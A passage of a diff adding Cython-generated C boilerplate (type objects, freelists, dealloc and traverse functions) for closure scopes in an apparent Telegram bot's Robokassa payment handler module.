+ if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct__process_callback_pay_robokassa", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct__process_callback_pay_robokassa", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_inv_id); + Py_CLEAR(p->__pyx_v_params); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_v_shp_id); + Py_CLEAR(p->__pyx_v_signature_value); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_inv_id) { + e = (*v)(p->__pyx_v_inv_id, a); if (e) return e; + } + if (p->__pyx_v_params) { + e = (*v)(p->__pyx_v_params, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_v_shp_id) { + e = (*v)(p->__pyx_v_shp_id, a); if (e) return e; + } + if (p->__pyx_v_signature_value) { + e = (*v)(p->__pyx_v_signature_value, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct_2_robokassa_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct_2_robokassa_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *p = (struct 